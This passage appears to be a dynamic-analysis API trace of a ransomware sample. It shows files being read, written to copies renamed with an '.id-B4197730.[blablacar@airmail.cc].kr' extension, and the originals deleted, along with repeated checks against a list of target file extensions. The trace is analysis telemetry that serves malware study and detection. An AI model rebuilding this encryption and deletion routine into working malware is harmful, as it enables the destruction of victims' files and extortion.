dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0085.540] GetLastError () returned 0x0 [0085.540] ReadFile (in: hFile=0x2f0, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0xe63, lpOverlapped=0x0) returned 1 [0085.542] WriteFile (in: hFile=0x348, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xe70, lpOverlapped=0x0) returned 1 [0085.543] ReadFile (in: hFile=0x2f0, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0085.544] WriteFile (in: hFile=0x348, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xe4, lpOverlapped=0x0) returned 1 [0085.544] SetEndOfFile (hFile=0x348) returned 1 [0085.544] CloseHandle (hObject=0x348) returned 1 [0085.990] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.990] SetEndOfFile (hFile=0x2f0) returned 1 [0085.991] CloseHandle (hObject=0x2f0) returned 1 [0085.991] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0085.991] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 1 [0085.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0085.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0085.992] lstrlenW (lpString=".doc") returned 4 [0085.992] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0085.992] lstrlenW (lpString=".docx") returned 5 [0085.992] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0085.992] lstrlenW (lpString=".pdf") returned 4 [0085.992] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0085.992] lstrlenW (lpString=".xls") returned 4 [0085.992] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0085.992] lstrlenW (lpString=".xlsx") returned 5 [0085.992] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0085.992] lstrlenW (lpString=".ppt") returned 4 [0085.992] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0085.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0085.992] lstrlenW (lpString=".zip") returned 4 [0085.992] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0085.992] lstrlenW (lpString=".rar") returned 4 [0085.992] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0085.992] lstrlenW (lpString=".bz2") returned 4 [0085.992] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0085.993] lstrlenW (lpString=".7z") returned 3 [0085.993] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0085.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0085.993] lstrlenW (lpString=".dbf") returned 4 [0085.993] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0085.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0085.993] lstrlenW (lpString=".1cd") returned 4 [0085.993] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0085.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0085.993] lstrlenW (lpString=".jpg") returned 4 [0085.993] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0085.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0085.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0085.993] lstrlenW (lpString=".doc") returned 4 [0085.993] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0085.993] lstrlenW (lpString=".docx") returned 5 [0085.993] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0085.993] lstrlenW (lpString=".pdf") returned 4 [0085.993] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0085.993] lstrlenW (lpString=".xls") returned 4 [0085.993] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0085.993] lstrlenW (lpString=".xlsx") returned 5 [0085.993] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0085.993] lstrlenW (lpString=".ppt") returned 4 [0085.993] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0085.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0085.993] lstrlenW (lpString=".zip") returned 4 [0085.994] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0085.994] lstrlenW (lpString=".rar") returned 4 [0085.994] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0085.994] lstrlenW (lpString=".bz2") returned 4 [0085.994] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0085.994] lstrlenW (lpString=".7z") returned 3 [0085.994] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0085.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0085.994] lstrlenW (lpString=".dbf") returned 4 [0085.994] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0085.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0085.994] lstrlenW (lpString=".1cd") returned 4 [0085.994] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0085.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0085.994] lstrlenW (lpString=".jpg") returned 4 [0085.994] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0085.994] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0085.994] lstrlenW (lpString="LocalizedData.xml") returned 17 [0085.994] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0087.160] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=76818) returned 1 [0087.160] CloseHandle (hObject=0x350) returned 1 [0087.160] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 0x80 [0087.160] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0087.160] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0087.160] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.160] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.160] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0087.161] GetLastError () returned 0x0 [0087.161] ReadFile (in: hFile=0x350, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x12c12, lpOverlapped=0x0) returned 1 [0087.167] WriteFile (in: hFile=0x34c, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x12c20, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x12c20, lpOverlapped=0x0) returned 1 [0087.170] ReadFile (in: hFile=0x350, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.170] WriteFile (in: hFile=0x34c, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xf6, lpOverlapped=0x0) returned 1 [0087.170] SetEndOfFile (hFile=0x34c) returned 1 [0087.170] CloseHandle (hObject=0x34c) returned 1 [0087.173] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.174] SetEndOfFile (hFile=0x350) returned 1 [0087.175] CloseHandle (hObject=0x350) returned 1 [0087.175] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0087.175] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 1 [0087.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0087.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0087.176] lstrlenW (lpString=".doc") returned 4 [0087.176] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0087.176] lstrlenW (lpString=".docx") returned 5 [0087.176] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0087.176] lstrlenW (lpString=".pdf") returned 4 [0087.176] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0087.176] lstrlenW (lpString=".xls") returned 4 [0087.176] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0087.176] lstrlenW (lpString=".xlsx") returned 5 [0087.176] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0087.176] lstrlenW (lpString=".ppt") returned 4 [0087.176] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0087.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0087.176] lstrlenW (lpString=".zip") returned 4 [0087.176] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0087.176] lstrlenW (lpString=".rar") returned 4 [0087.176] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0087.177] lstrlenW (lpString=".bz2") returned 4 [0087.177] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0087.177] lstrlenW (lpString=".7z") returned 3 [0087.177] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0087.177] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0087.177] lstrlenW (lpString=".dbf") returned 4 [0087.177] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0087.177] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0087.177] lstrlenW (lpString=".1cd") returned 4 [0087.177] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0087.177] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0087.177] lstrlenW (lpString=".jpg") returned 4 [0087.177] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0087.177] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0087.177] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0087.177] lstrlenW (lpString=".doc") returned 4 [0087.177] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0087.177] lstrlenW (lpString=".docx") returned 5 [0087.177] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0087.177] lstrlenW (lpString=".pdf") returned 4 [0087.177] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0087.177] lstrlenW (lpString=".xls") returned 4 [0087.177] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0087.177] lstrlenW (lpString=".xlsx") returned 5 [0087.177] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0087.177] lstrlenW (lpString=".ppt") returned 4 [0087.178] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0087.178] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0087.178] lstrlenW (lpString=".zip") returned 4 [0087.178] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0087.178] lstrlenW (lpString=".rar") returned 4 [0087.178] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0087.178] lstrlenW (lpString=".bz2") returned 4 [0087.178] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0087.178] lstrlenW (lpString=".7z") returned 3 [0087.178] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0087.178] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0087.178] lstrlenW (lpString=".dbf") returned 4 [0087.178] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0087.178] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0087.178] lstrlenW (lpString=".1cd") returned 4 [0087.178] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0087.178] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0087.178] lstrlenW (lpString=".jpg") returned 4 [0087.178] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0087.178] lstrcmpiW (lpString1=".rtf", lpString2=".kr") returned 1 [0087.178] lstrlenW (lpString="eula.rtf") returned 8 [0087.178] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0087.179] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=3069) returned 1 [0087.179] CloseHandle (hObject=0x350) returned 1 [0087.179] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 0x80 [0087.179] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0087.179] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0087.179] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.180] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.180] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0087.182] GetLastError () returned 0x0 [0087.182] ReadFile (in: hFile=0x350, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0xbfd, lpOverlapped=0x0) returned 1 [0087.183] WriteFile (in: hFile=0x34c, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xc00, lpOverlapped=0x0) returned 1 [0087.185] ReadFile (in: hFile=0x350, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.185] WriteFile (in: hFile=0x34c, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xe4, lpOverlapped=0x0) returned 1 [0087.185] SetEndOfFile (hFile=0x34c) returned 1 [0087.185] CloseHandle (hObject=0x34c) returned 1 [0087.191] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.191] SetEndOfFile (hFile=0x350) returned 1 [0087.192] CloseHandle (hObject=0x350) returned 1 [0087.192] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0087.192] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 1 [0087.193] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0087.193] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0087.193] lstrlenW (lpString=".doc") returned 4 [0087.193] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0087.193] lstrlenW (lpString=".docx") returned 5 [0087.193] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0087.193] lstrlenW (lpString=".pdf") returned 4 [0087.193] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0087.193] lstrlenW (lpString=".xls") returned 4 [0087.193] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0087.193] lstrlenW (lpString=".xlsx") returned 5 [0087.193] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0087.193] lstrlenW (lpString=".ppt") returned 4 [0087.193] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0087.193] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0087.193] lstrlenW (lpString=".zip") returned 4 [0087.193] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0087.193] lstrlenW (lpString=".rar") returned 4 [0087.193] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0087.193] lstrlenW (lpString=".bz2") returned 4 [0087.194] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0087.194] lstrlenW (lpString=".7z") returned 3 [0087.194] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0087.194] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0087.194] lstrlenW (lpString=".dbf") returned 4 [0087.194] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0087.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0087.625] lstrlenW (lpString=".1cd") returned 4 [0087.625] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0087.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0087.625] lstrlenW (lpString=".jpg") returned 4 [0087.625] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0087.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0087.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0087.625] lstrlenW (lpString=".doc") returned 4 [0087.625] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0087.625] lstrlenW (lpString=".docx") returned 5 [0087.625] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0087.625] lstrlenW (lpString=".pdf") returned 4 [0087.625] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0087.625] lstrlenW (lpString=".xls") returned 4 [0087.625] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0087.625] lstrlenW (lpString=".xlsx") returned 5 [0087.625] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0087.625] lstrlenW (lpString=".ppt") returned 4 [0087.626] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0087.626] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0087.626] lstrlenW (lpString=".zip") returned 4 [0087.626] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0087.626] lstrlenW (lpString=".rar") returned 4 [0087.626] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0087.626] lstrlenW (lpString=".bz2") returned 4 [0087.626] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0087.626] lstrlenW (lpString=".7z") returned 3 [0087.626] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0087.626] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0087.626] lstrlenW (lpString=".dbf") returned 4 [0087.626] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0087.626] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0087.626] lstrlenW (lpString=".1cd") returned 4 [0087.626] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0087.626] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0087.626] lstrlenW (lpString=".jpg") returned 4 [0087.626] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0087.626] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0087.627] lstrlenW (lpString="UiInfo.xml") returned 10 [0087.627] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0087.627] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=39050) returned 1 [0087.627] CloseHandle (hObject=0x340) returned 1 [0087.627] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 0x80 [0087.627] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0087.628] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0087.628] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.628] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.628] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0087.643] GetLastError () returned 0x0 [0087.643] ReadFile (in: hFile=0x340, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x988a, lpOverlapped=0x0) returned 1 [0087.645] WriteFile (in: hFile=0x300, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x9890, lpOverlapped=0x0) returned 1 [0087.647] ReadFile (in: hFile=0x340, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.647] WriteFile (in: hFile=0x300, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xe8, lpOverlapped=0x0) returned 1 [0087.647] SetEndOfFile (hFile=0x300) returned 1 [0087.647] CloseHandle (hObject=0x300) returned 1 [0087.651] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.651] SetEndOfFile (hFile=0x340) returned 1 [0087.652] CloseHandle (hObject=0x340) returned 1 [0087.652] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0087.653] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 1 [0087.653] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0087.653] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0087.653] lstrlenW (lpString=".doc") returned 4 [0087.653] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0087.653] lstrlenW (lpString=".docx") returned 5 [0087.653] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0087.653] lstrlenW (lpString=".pdf") returned 4 [0087.653] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0087.653] lstrlenW (lpString=".xls") returned 4 [0087.653] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0087.653] lstrlenW (lpString=".xlsx") returned 5 [0087.653] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0087.653] lstrlenW (lpString=".ppt") returned 4 [0087.653] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0087.653] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0087.653] lstrlenW (lpString=".zip") returned 4 